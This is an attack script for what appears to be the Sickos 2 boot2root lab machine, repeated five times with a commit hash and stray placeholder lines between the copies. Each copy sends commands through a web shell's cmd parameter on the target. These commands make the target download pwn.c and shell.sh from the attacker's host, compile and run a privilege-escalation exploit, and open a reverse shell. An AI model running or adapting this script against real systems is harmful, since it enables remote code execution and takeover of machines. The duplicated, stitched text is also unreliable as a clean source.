#!/usr/bin/python
# -*- coding: latin-1 -*-
import requests
import sys
import os
import psutil
import time
from subprocess import Popen

banner = """


███████╗██╗ ██████╗██╗  ██╗ ██████╗ ███████╗██████╗ 
██╔════╝██║██╔════╝██║ ██╔╝██╔═══██╗██╔════╝╚════██╗
███████╗██║██║     █████╔╝ ██║   ██║███████╗ █████╔╝
╚════██║██║██║     ██╔═██╗ ██║   ██║╚════██║██╔═══╝ 
███████║██║╚██████╗██║  ██╗╚██████╔╝███████║███████╗
╚══════╝╚═╝ ╚═════╝╚═╝  ╚═╝ ╚═════╝ ╚══════╝╚══════╝
                                                    
██████╗  ██████╗  ██████╗ ████████╗    ██████╗     ██████╗  ██████╗  ██████╗ ████████╗
██╔══██╗██╔═══██╗██╔═══██╗╚══██╔══╝    ╚════██╗    ██╔══██╗██╔═══██╗██╔═══██╗╚══██╔══╝
██████╔╝██║   ██║██║   ██║   ██║        █████╔╝    ██████╔╝██║   ██║██║   ██║   ██║   
██╔══██╗██║   ██║██║   ██║   ██║       ██╔═══╝     ██╔══██╗██║   ██║██║   ██║   ██║   
██████╔╝╚██████╔╝╚██████╔╝   ██║       ███████╗    ██║  ██║╚██████╔╝╚██████╔╝   ██║   
╚═════╝  ╚═════╝  ╚═════╝    ╚═╝       ╚══════╝    ╚═╝  ╚═╝ ╚═════╝  ╚═════╝    ╚═╝  

███████╗██╗  ██╗██████╗ ██╗      ██████╗ ██╗████████╗
██╔════╝╚██╗██╔╝██╔══██╗██║     ██╔═══██╗██║╚══██╔══╝
█████╗   ╚███╔╝ ██████╔╝██║     ██║   ██║██║   ██║   
██╔══╝   ██╔██╗ ██╔═══╝ ██║     ██║   ██║██║   ██║   
███████╗██╔╝ ██╗██║     ███████╗╚██████╔╝██║   ██║   
╚══════╝╚═╝  ╚═╝╚═╝     ╚══════╝ ╚═════╝ ╚═╝   ╚═╝     Coded by Silky
                                                     

"""

def usage():
    print(banner)
    print ("python exploit.py rhost lhost") 


def terminate_proc():
    for process in psutil.process_iter():
        if process.cmdline() == ['python', '-m', 'SimpleHTTPServer', '443']:
            print('Process found. Terminating it.')
            process.terminate()
        
def stageone():
    print("[+] Fire Stage One")
    print("[+] Downloading Exploit")
    data = 'wget http://'+lhost+':443/pwn.c'
    data2 = 'mv pwn.c /tmp/pwn.c'
    data3 = 'wget http://'+lhost+':443/shell.sh'
    data4 = 'mv shell.sh /tmp/shell.sh'
    data5 = 'chmod +x /tmp/shell.sh'
    os.system("bash rev.sh")
    r = requests.post("http://"+rhost+"/test/test.php?cmd=" + data)
    r = requests.post("http://"+rhost+"/test/test.php?cmd=" + data2)
    r = requests.post("http://"+rhost+"/test/test.php?cmd=" + data3)
    r = requests.post("http://"+rhost+"/test/test.php?cmd=" + data4)
    time.sleep(5)
    terminate_proc()
    print ("Sleeping 10 secs")
    time.sleep(10)
    print("[+] Done!")



def stagetwo():
    print("[+] Fire Stage Two")
    print("[+] Compiling Exploit Code")
    print("[+] Firing Rev-Shell")
    data = 'gcc /tmp/pwn.c -o /tmp/pwn -pthread'
    data2 = '/tmp/pwn'
    r = requests.post("http://"+rhost+"/test/test.php?cmd=" + data)
    r = requests.post("http://"+rhost+"/test/test.php?cmd=" + data2)


try:
    rhost =sys.argv[1]
    lhost =sys.argv[2]
    print(banner)
    stageone()
    stagetwo()


except:
    usage()


62fd537cbf4ddc2a578b4ef29f320149c9b0f9a1
<mask token>


def usage():
    print(banner)
    print('python exploit.py rhost lhost')


def terminate_proc():
    for process in psutil.process_iter():
        if process.cmdline() == ['python', '-m', 'SimpleHTTPServer', '443']:
            print('Process found. Terminating it.')
            process.terminate()


def stageone():
    print('[+] Fire Stage One')
    print('[+] Downloading Exploit')
    data = 'wget http://' + lhost + ':443/pwn.c'
    data2 = 'mv pwn.c /tmp/pwn.c'
    data3 = 'wget http://' + lhost + ':443/shell.sh'
    data4 = 'mv shell.sh /tmp/shell.sh'
    data5 = 'chmod +x /tmp/shell.sh'
    os.system('bash rev.sh')
    r = requests.post('http://' + rhost + '/test/test.php?cmd=' + data)
    r = requests.post('http://' + rhost + '/test/test.php?cmd=' + data2)
    r = requests.post('http://' + rhost + '/test/test.php?cmd=' + data3)
    r = requests.post('http://' + rhost + '/test/test.php?cmd=' + data4)
    time.sleep(5)
    terminate_proc()
    print('Sleeping 10 secs')
    time.sleep(10)
    print('[+] Done!')


def stagetwo():
    print('[+] Fire Stage Two')
    print('[+] Compiling Exploit Code')
    print('[+] Firing Rev-Shell')
    data = 'gcc /tmp/pwn.c -o /tmp/pwn -pthread'
    data2 = '/tmp/pwn'
    r = requests.post('http://' + rhost + '/test/test.php?cmd=' + data)
    r = requests.post('http://' + rhost + '/test/test.php?cmd=' + data2)


<mask token>

<mask token>


def usage():
    print(banner)
    print('python exploit.py rhost lhost')


def terminate_proc():
    for process in psutil.process_iter():
        if process.cmdline() == ['python', '-m', 'SimpleHTTPServer', '443']:
            print('Process found. Terminating it.')
            process.terminate()


def stageone():
    print('[+] Fire Stage One')
    print('[+] Downloading Exploit')
    data = 'wget http://' + lhost + ':443/pwn.c'
    data2 = 'mv pwn.c /tmp/pwn.c'
    data3 = 'wget http://' + lhost + ':443/shell.sh'
    data4 = 'mv shell.sh /tmp/shell.sh'
    data5 = 'chmod +x /tmp/shell.sh'
    os.system('bash rev.sh')
    r = requests.post('http://' + rhost + '/test/test.php?cmd=' + data)
    r = requests.post('http://' + rhost + '/test/test.php?cmd=' + data2)
    r = requests.post('http://' + rhost + '/test/test.php?cmd=' + data3)
    r = requests.post('http://' + rhost + '/test/test.php?cmd=' + data4)
    time.sleep(5)
    terminate_proc()
    print('Sleeping 10 secs')
    time.sleep(10)
    print('[+] Done!')


def stagetwo():
    print('[+] Fire Stage Two')
    print('[+] Compiling Exploit Code')
    print('[+] Firing Rev-Shell')
    data = 'gcc /tmp/pwn.c -o /tmp/pwn -pthread'
    data2 = '/tmp/pwn'
    r = requests.post('http://' + rhost + '/test/test.php?cmd=' + data)
    r = requests.post('http://' + rhost + '/test/test.php?cmd=' + data2)


try:
    rhost = sys.argv[1]
    lhost = sys.argv[2]
    print(banner)
    stageone()
    stagetwo()
except:
    usage()

<mask token>
banner = """


███████╗██╗ ██████╗██╗  ██╗ ██████╗ ███████╗██████╗ 
██╔════╝██║██╔════╝██║ ██╔╝██╔═══██╗██╔════╝╚════██╗
███████╗██║██║     █████╔╝ ██║   ██║███████╗ █████╔╝
╚════██║██║██║     ██╔═██╗ ██║   ██║╚════██║██╔═══╝ 
███████║██║╚██████╗██║  ██╗╚██████╔╝███████║███████╗
╚══════╝╚═╝ ╚═════╝╚═╝  ╚═╝ ╚═════╝ ╚══════╝╚══════╝
                                                    
██████╗  ██████╗  ██████╗ ████████╗    ██████╗     ██████╗  ██████╗  ██████╗ ████████╗
██╔══██╗██╔═══██╗██╔═══██╗╚══██╔══╝    ╚════██╗    ██╔══██╗██╔═══██╗██╔═══██╗╚══██╔══╝
██████╔╝██║   ██║██║   ██║   ██║        █████╔╝    ██████╔╝██║   ██║██║   ██║   ██║   
██╔══██╗██║   ██║██║   ██║   ██║       ██╔═══╝     ██╔══██╗██║   ██║██║   ██║   ██║   
██████╔╝╚██████╔╝╚██████╔╝   ██║       ███████╗    ██║  ██║╚██████╔╝╚██████╔╝   ██║   
╚═════╝  ╚═════╝  ╚═════╝    ╚═╝       ╚══════╝    ╚═╝  ╚═╝ ╚═════╝  ╚═════╝    ╚═╝  

███████╗██╗  ██╗██████╗ ██╗      ██████╗ ██╗████████╗
██╔════╝╚██╗██╔╝██╔══██╗██║     ██╔═══██╗██║╚══██╔══╝
█████╗   ╚███╔╝ ██████╔╝██║     ██║   ██║██║   ██║   
██╔══╝   ██╔██╗ ██╔═══╝ ██║     ██║   ██║██║   ██║   
███████╗██╔╝ ██╗██║     ███████╗╚██████╔╝██║   ██║   
╚══════╝╚═╝  ╚═╝╚═╝     ╚══════╝ ╚═════╝ ╚═╝   ╚═╝     Coded by Silky
                                                     

"""


def usage():
    print(banner)
    print('python exploit.py rhost lhost')


def terminate_proc():
    for process in psutil.process_iter():
        if process.cmdline() == ['python', '-m', 'SimpleHTTPServer', '443']:
            print('Process found. Terminating it.')
            process.terminate()


def stageone():
    print('[+] Fire Stage One')
    print('[+] Downloading Exploit')
    data = 'wget http://' + lhost + ':443/pwn.c'
    data2 = 'mv pwn.c /tmp/pwn.c'
    data3 = 'wget http://' + lhost + ':443/shell.sh'
    data4 = 'mv shell.sh /tmp/shell.sh'
    data5 = 'chmod +x /tmp/shell.sh'
    os.system('bash rev.sh')
    r = requests.post('http://' + rhost + '/test/test.php?cmd=' + data)
    r = requests.post('http://' + rhost + '/test/test.php?cmd=' + data2)
    r = requests.post('http://' + rhost + '/test/test.php?cmd=' + data3)
    r = requests.post('http://' + rhost + '/test/test.php?cmd=' + data4)
    time.sleep(5)
    terminate_proc()
    print('Sleeping 10 secs')
    time.sleep(10)
    print('[+] Done!')


def stagetwo():
    print('[+] Fire Stage Two')
    print('[+] Compiling Exploit Code')
    print('[+] Firing Rev-Shell')
    data = 'gcc /tmp/pwn.c -o /tmp/pwn -pthread'
    data2 = '/tmp/pwn'
    r = requests.post('http://' + rhost + '/test/test.php?cmd=' + data)
    r = requests.post('http://' + rhost + '/test/test.php?cmd=' + data2)


try:
    rhost = sys.argv[1]
    lhost = sys.argv[2]
    print(banner)
    stageone()
    stagetwo()
except:
    usage()

import requests
import sys
import os
import psutil
import time
from subprocess import Popen
banner = """


███████╗██╗ ██████╗██╗  ██╗ ██████╗ ███████╗██████╗ 
██╔════╝██║██╔════╝██║ ██╔╝██╔═══██╗██╔════╝╚════██╗
███████╗██║██║     █████╔╝ ██║   ██║███████╗ █████╔╝
╚════██║██║██║     ██╔═██╗ ██║   ██║╚════██║██╔═══╝ 
███████║██║╚██████╗██║  ██╗╚██████╔╝███████║███████╗
╚══════╝╚═╝ ╚═════╝╚═╝  ╚═╝ ╚═════╝ ╚══════╝╚══════╝
                                                    
██████╗  ██████╗  ██████╗ ████████╗    ██████╗     ██████╗  ██████╗  ██████╗ ████████╗
██╔══██╗██╔═══██╗██╔═══██╗╚══██╔══╝    ╚════██╗    ██╔══██╗██╔═══██╗██╔═══██╗╚══██╔══╝
██████╔╝██║   ██║██║   ██║   ██║        █████╔╝    ██████╔╝██║   ██║██║   ██║   ██║   
██╔══██╗██║   ██║██║   ██║   ██║       ██╔═══╝     ██╔══██╗██║   ██║██║   ██║   ██║   
██████╔╝╚██████╔╝╚██████╔╝   ██║       ███████╗    ██║  ██║╚██████╔╝╚██████╔╝   ██║   
╚═════╝  ╚═════╝  ╚═════╝    ╚═╝       ╚══════╝    ╚═╝  ╚═╝ ╚═════╝  ╚═════╝    ╚═╝  

███████╗██╗  ██╗██████╗ ██╗      ██████╗ ██╗████████╗
██╔════╝╚██╗██╔╝██╔══██╗██║     ██╔═══██╗██║╚══██╔══╝
█████╗   ╚███╔╝ ██████╔╝██║     ██║   ██║██║   ██║   
██╔══╝   ██╔██╗ ██╔═══╝ ██║     ██║   ██║██║   ██║   
███████╗██╔╝ ██╗██║     ███████╗╚██████╔╝██║   ██║   
╚══════╝╚═╝  ╚═╝╚═╝     ╚══════╝ ╚═════╝ ╚═╝   ╚═╝     Coded by Silky
                                                     

"""


def usage():
    print(banner)
    print('python exploit.py rhost lhost')


def terminate_proc():
    for process in psutil.process_iter():
        if process.cmdline() == ['python', '-m', 'SimpleHTTPServer', '443']:
            print('Process found. Terminating it.')
            process.terminate()


def stageone():
    print('[+] Fire Stage One')
    print('[+] Downloading Exploit')
    data = 'wget http://' + lhost + ':443/pwn.c'
    data2 = 'mv pwn.c /tmp/pwn.c'
    data3 = 'wget http://' + lhost + ':443/shell.sh'
    data4 = 'mv shell.sh /tmp/shell.sh'
    data5 = 'chmod +x /tmp/shell.sh'
    os.system('bash rev.sh')
    r = requests.post('http://' + rhost + '/test/test.php?cmd=' + data)
    r = requests.post('http://' + rhost + '/test/test.php?cmd=' + data2)
    r = requests.post('http://' + rhost + '/test/test.php?cmd=' + data3)
    r = requests.post('http://' + rhost + '/test/test.php?cmd=' + data4)
    time.sleep(5)
    terminate_proc()
    print('Sleeping 10 secs')
    time.sleep(10)
    print('[+] Done!')


def stagetwo():
    print('[+] Fire Stage Two')
    print('[+] Compiling Exploit Code')
    print('[+] Firing Rev-Shell')
    data = 'gcc /tmp/pwn.c -o /tmp/pwn -pthread'
    data2 = '/tmp/pwn'
    r = requests.post('http://' + rhost + '/test/test.php?cmd=' + data)
    r = requests.post('http://' + rhost + '/test/test.php?cmd=' + data2)


try:
    rhost = sys.argv[1]
    lhost = sys.argv[2]
    print(banner)
    stageone()
    stagetwo()
except:
    usage()

#!/usr/bin/python
# -*- coding: latin-1 -*-
import requests
import sys
import os
import psutil
import time
from subprocess import Popen

banner = """


███████╗██╗ ██████╗██╗  ██╗ ██████╗ ███████╗██████╗ 
██╔════╝██║██╔════╝██║ ██╔╝██╔═══██╗██╔════╝╚════██╗
███████╗██║██║     █████╔╝ ██║   ██║███████╗ █████╔╝
╚════██║██║██║     ██╔═██╗ ██║   ██║╚════██║██╔═══╝ 
███████║██║╚██████╗██║  ██╗╚██████╔╝███████║███████╗
╚══════╝╚═╝ ╚═════╝╚═╝  ╚═╝ ╚═════╝ ╚══════╝╚══════╝
                                                    
██████╗  ██████╗  ██████╗ ████████╗    ██████╗     ██████╗  ██████╗  ██████╗ ████████╗
██╔══██╗██╔═══██╗██╔═══██╗╚══██╔══╝    ╚════██╗    ██╔══██╗██╔═══██╗██╔═══██╗╚══██╔══╝
██████╔╝██║   ██║██║   ██║   ██║        █████╔╝    ██████╔╝██║   ██║██║   ██║   ██║   
██╔══██╗██║   ██║██║   ██║   ██║       ██╔═══╝     ██╔══██╗██║   ██║██║   ██║   ██║   
██████╔╝╚██████╔╝╚██████╔╝   ██║       ███████╗    ██║  ██║╚██████╔╝╚██████╔╝   ██║   
╚═════╝  ╚═════╝  ╚═════╝    ╚═╝       ╚══════╝    ╚═╝  ╚═╝ ╚═════╝  ╚═════╝    ╚═╝  

███████╗██╗  ██╗██████╗ ██╗      ██████╗ ██╗████████╗
██╔════╝╚██╗██╔╝██╔══██╗██║     ██╔═══██╗██║╚══██╔══╝
█████╗   ╚███╔╝ ██████╔╝██║     ██║   ██║██║   ██║   
██╔══╝   ██╔██╗ ██╔═══╝ ██║     ██║   ██║██║   ██║   
███████╗██╔╝ ██╗██║     ███████╗╚██████╔╝██║   ██║   
╚══════╝╚═╝  ╚═╝╚═╝     ╚══════╝ ╚═════╝ ╚═╝   ╚═╝     Coded by Silky
                                                     

"""

def usage():
    print(banner)
    print ("python exploit.py rhost lhost") 


def terminate_proc():
    for process in psutil.process_iter():
        if process.cmdline() == ['python', '-m', 'SimpleHTTPServer', '443']:
            print('Process found. Terminating it.')
            process.terminate()
        
def stageone():
    print("[+] Fire Stage One")
    print("[+] Downloading Exploit")
    data = 'wget http://'+lhost+':443/pwn.c'
    data2 = 'mv pwn.c /tmp/pwn.c'
    data3 = 'wget http://'+lhost+':443/shell.sh'
    data4 = 'mv shell.sh /tmp/shell.sh'
    data5 = 'chmod +x /tmp/shell.sh'
    os.system("bash rev.sh")
    r = requests.post("http://"+rhost+"/test/test.php?cmd=" + data)
    r = requests.post("http://"+rhost+"/test/test.php?cmd=" + data2)
    r = requests.post("http://"+rhost+"/test/test.php?cmd=" + data3)
    r = requests.post("http://"+rhost+"/test/test.php?cmd=" + data4)
    time.sleep(5)
    terminate_proc()
    print ("Sleeping 10 secs")
    time.sleep(10)
    print("[+] Done!")



def stagetwo():
    print("[+] Fire Stage Two")
    print("[+] Compiling Exploit Code")
    print("[+] Firing Rev-Shell")
    data = 'gcc /tmp/pwn.c -o /tmp/pwn -pthread'
    data2 = '/tmp/pwn'
    r = requests.post("http://"+rhost+"/test/test.php?cmd=" + data)
    r = requests.post("http://"+rhost+"/test/test.php?cmd=" + data2)


try:
    rhost =sys.argv[1]
    lhost =sys.argv[2]
    print(banner)
    stageone()
    stagetwo()


except:
    usage()

